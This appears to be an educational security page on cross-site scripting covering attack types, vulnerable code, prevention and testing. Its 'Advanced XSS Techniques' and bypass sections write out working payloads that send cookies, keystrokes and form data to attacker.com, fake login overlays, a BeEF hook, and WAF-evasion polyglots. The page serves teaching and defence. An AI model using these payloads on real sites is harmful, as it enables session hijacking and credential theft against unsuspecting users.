Back to Attack Flows

Table of Contents

What is Cross-Site Scripting (XSS)?

Cross-Site Scripting (XSS) is a client-side code injection attack where an attacker injects malicious scripts into web pages viewed by other users. When successful, XSS allows attackers to execute arbitrary JavaScript code in the victim's browser, bypassing the Same-Origin Policy and potentially compromising user data, sessions, and interactions.

Why is XSS Critical?

XSS remains one of the most prevalent web vulnerabilities because it:

Attack Capabilities

Successful XSS exploitation allows attackers to:

Types of XSS Attacks

1. Reflected XSS (Non-Persistent)

The most common type where malicious script is reflected off a web server in search results, error messages, or any response that includes user input.

Example:

<!-- Vulnerable code -->
<?php
    $search = $_GET['q'];
    echo "Search results for: " . $search;
?>

<!-- Attack URL -->
http://example.com/search?q=<script>alert(document.cookie)</script>

2. Stored XSS (Persistent)

The most dangerous type where malicious script is permanently stored on the target server (database, message forum, comment field, etc.) and executed when users view the affected page.

Example:

// User submits comment with malicious script
<script>
fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>

// Script executes for every user viewing the comment

3. DOM-Based XSS

Occurs when JavaScript manipulates the DOM in an unsafe way, allowing attackers to inject malicious payloads that execute entirely client-side without server involvement.

Example:

// Vulnerable JavaScript code
var name = location.hash.substring(1);
document.getElementById('welcome').innerHTML = "Hello " + name;

// Attack URL
http://example.com/#<img src=x onerror=alert(document.cookie)>

4. Mutation XSS (mXSS)

Exploits the way browsers parse and mutate HTML, causing sanitized input to become dangerous after DOM manipulation.

5. Self-XSS

Requires the victim to paste malicious code into their own browser, often through social engineering.

How XSS Attacks Work

Basic Attack Flow

  1. Identify Injection Point: Find where user input is reflected in the page
  2. Craft Payload: Create malicious JavaScript code
  3. Deliver Payload: Inject the payload through the vulnerable parameter
  4. Execute Script: Browser executes the injected code in the victim's session
  5. Exfiltrate Data: Send stolen data to attacker-controlled server

Common Injection Points

Vulnerable Code Patterns

PHP:

// Direct output without escaping
echo $_GET['name'];
echo $user_input;

// Unsafe template rendering
?><div>Welcome <?php echo $name; ?></div>

JavaScript:

// Unsafe DOM manipulation
element.innerHTML = userInput;
document.write(userInput);
element.outerHTML = data;

// Unsafe eval/Function
eval(userInput);
new Function(userInput)();

// Unsafe jQuery
$(userInput);
$('#div').html(userInput);

Python (Flask):

# Without auto-escaping
return '<div>' + user_input + '</div>'

# Using Markup incorrectly
return Markup(user_input)

Advanced XSS Techniques

Cookie Stealing

// Simple cookie theft
<script>
fetch('https://attacker.com/steal?c=' + document.cookie);
</script>

// Using image tag
<img src=x onerror="this.src='https://attacker.com/log?c='+document.cookie">

// More stealthy approach
<script>
new Image().src='https://attacker.com/steal?cookie='+btoa(document.cookie);
</script>

Keylogging

<script>
document.onkeypress = function(e) {
    fetch('https://attacker.com/keylog?key=' + e.key);
};
</script>

Phishing with XSS

<script>
document.body.innerHTML = `
    <div style="position:fixed;top:0;left:0;width:100%;height:100%;background:white;z-index:9999">
        <h2>Session Expired - Please Login</h2>
        <form action="https://attacker.com/steal" method="POST">
            <input name="username" placeholder="Username"><br>
            <input name="password" type="password" placeholder="Password"><br>
            <button>Login</button>
        </form>
    </div>
`;
</script>

BeEF Hook Integration

<script src="https://attacker.com/hook.js"></script>

Form Hijacking

<script>
document.forms[0].onsubmit = function() {
    var data = new FormData(this);
    fetch('https://attacker.com/steal', {method: 'POST', body: data});
    return true; // Allow normal submission
};
</script>

Port Scanning via XSS

<script>
for(let port = 1; port < 1024; port++) {
    fetch('http://localhost:' + port)
        .then(() => console.log('Port ' + port + ' is open'))
        .catch(() => {});
}
</script>

XSS Bypass Methods

Filter Bypass Techniques

1. Case Manipulation

<ScRiPt>alert(1)</ScRiPt>
<SCRIPT>alert(1)</SCRIPT>
<sCrIpT>alert(1)</sCrIpT>

2. Encoding Bypass

<!-- HTML Entity Encoding -->
<script>alert(1)</script>
&lt;script&gt;alert(1)&lt;/script&gt;

<!-- URL Encoding -->
%3Cscript%3Ealert(1)%3C%2Fscript%3E

<!-- Double URL Encoding -->
%253Cscript%253Ealert(1)%253C%252Fscript%253E

<!-- Unicode Encoding -->
\u003cscript\u003ealert(1)\u003c/script\u003e

<!-- Hex Encoding -->
<script>alert(1)</script>

3. Tag Obfuscation

<!-- Null bytes -->
<scri%00pt>alert(1)</scri%00pt>

<!-- Extra characters -->
<script/>alert(1)</script>
<script   >alert(1)</script>
<script
>alert(1)</script>

<!-- Tab and newline -->
<scr	ipt>alert(1)</script>
<scr
ipt>alert(1)</script>

4. Alternative Tags and Events

<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<body onload=alert(1)>
<iframe src="javascript:alert(1)">
<input onfocus=alert(1) autofocus>
<marquee onstart=alert(1)>
<details open ontoggle=alert(1)>
<video src=x onerror=alert(1)>
<audio src=x onerror=alert(1)>

5. JavaScript Protocol

<a href="javascript:alert(1)">Click</a>
<form action="javascript:alert(1)">
<object data="javascript:alert(1)">

6. Mutation-Based XSS

<noscript><p title="</noscript><img src=x onerror=alert(1)>">
<math><mi>//</mi><mglyph></mglyph><mi>//</mi></math><img src onerror=alert(1)>

7. Context-Specific Bypasses

// In JavaScript context
'; alert(1); //
'); alert(1); //

// In attribute context
" onload="alert(1)
' onload='alert(1)

// Breaking out of script tags
</script><script>alert(1)</script>

WAF Bypass Techniques

<!-- Using lesser-known events -->
<svg><animate onbegin=alert(1) attributeName=x>

<!-- Using HTML5 features -->
<form><button formaction=javascript:alert(1)>Click

<!-- Using polyglots -->
javascript:/*--></title></style></textarea></script></xmp><svg/onload='+/"/+/onmouseover=1/+/[*/[]/+alert(1)//'>

<!-- Character fragmentation -->
<scr<script>ipt>alert(1)</scr</script>ipt>

Prevention & Mitigation

1. Input Validation & Sanitization

// JavaScript validation example
function sanitizeInput(input) {
    // Remove script tags and dangerous attributes
    const temp = document.createElement('div');
    temp.textContent = input;
    return temp.innerHTML;
}

// Using DOMPurify library (recommended)
const clean = DOMPurify.sanitize(dirty, {
    ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a'],
    ALLOWED_ATTR: ['href']
});

2. Output Encoding

// PHP - HTML Entity Encoding
echo htmlspecialchars($userInput, ENT_QUOTES, 'UTF-8');

// Context-aware encoding
function encodeForHTML($data) {
    return htmlspecialchars($data, ENT_QUOTES | ENT_HTML5, 'UTF-8');
}

function encodeForJS($data) {
    return json_encode($data, JSON_HEX_TAG | JSON_HEX_AMP | JSON_HEX_APOS | JSON_HEX_QUOT);
}

3. Content Security Policy (CSP)

<!-- Strong CSP Header -->
Content-Security-Policy: 
    default-src 'self'; 
    script-src 'self' 'nonce-randomvalue'; 
    object-src 'none'; 
    base-uri 'self';
    require-trusted-types-for 'script';

4. HTTPOnly and Secure Cookies

// Prevent JavaScript access to cookies
setcookie('session', $value, [
    'httponly' => true,
    'secure' => true,
    'samesite' => 'Strict'
]);

5. Framework-Specific Protection

// React automatically escapes (safe)
const element = <div>{userInput}</div>;

// Vue.js automatic escaping
<div>{{ userInput }}</div>

// Angular sanitization
import { DomSanitizer } from '@angular/platform-browser';
safeHtml = this.sanitizer.sanitize(SecurityContext.HTML, unsafe);

6. X-XSS-Protection Header

X-XSS-Protection: 1; mode=block

Prevention Checklist

Detection & Testing

Manual Testing Techniques

Basic XSS Probes:

<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg/onload=alert(1)>
javascript:alert(1)
'><script>alert(String.fromCharCode(88,83,83))</script>
"><svg/onload=alert(1)>

Automated Testing Tools

Browser Developer Tools

// Check for reflected input
document.body.innerHTML.includes(payload);

// Monitor DOM changes
const observer = new MutationObserver(mutations => {
    console.log('DOM changed', mutations);
});
observer.observe(document.body, {
    childList: true,
    subtree: true
});

Testing Checklist

Real-World Examples

Notable XSS Vulnerabilities

1. MySpace Samy Worm (2005)

One of the most famous XSS attacks. Samy Kamkar created a self-propagating worm that infected over 1 million MySpace profiles in under 24 hours using stored XSS.

2. TweetDeck XSS (2014)

A simple XSS payload in a tweet caused the TweetDeck service to crash and auto-retweet the malicious payload, affecting thousands of users.

3. eBay Stored XSS (2015-2016)

Multiple stored XSS vulnerabilities were found in eBay's platform, allowing attackers to steal user credentials and session cookies.

4. British Airways (2018)

Attackers used XSS to inject a credit card skimmer on the British Airways website, compromising 380,000 payment transactions.

5. Fortnite Account Takeover (2019)

XSS vulnerabilities in Epic Games' authentication system allowed attackers to take over Fortnite accounts and steal V-Bucks.

Common Vulnerable Applications

Quick Reference

Common XSS Payloads

<!-- Basic Alerts -->
<script>alert('XSS')</script>
<script>alert(document.domain)</script>
<script>alert(document.cookie)</script>

<!-- Image Tags -->
<img src=x onerror=alert(1)>
<img src=x onerror="alert('XSS')">

<!-- SVG -->
<svg/onload=alert(1)>
<svg><script>alert(1)</script></svg>

<!-- Input/Body -->
<input onfocus=alert(1) autofocus>
<body onload=alert(1)>

<!-- Iframe -->
<iframe src="javascript:alert(1)">

<!-- Event Handlers -->
<div onmouseover="alert(1)">hover me</div>
<a href="#" onclick="alert(1)">click</a>

Testing Checklist Summary

  1. Identify all user input points
  2. Test with basic payloads
  3. Try encoding variations
  4. Test different contexts (HTML, JS, URL)
  5. Check for filter bypasses
  6. Test stored XSS persistence
  7. Verify DOM-based sinks
  8. Test with automated tools

Prevention Checklist Summary

  1. Implement output encoding
  2. Validate all input server-side
  3. Use CSP headers
  4. Set HTTPOnly cookies
  5. Avoid dangerous JavaScript functions
  6. Use security libraries
  7. Enable XSS protection headers
  8. Regular security testing

Resources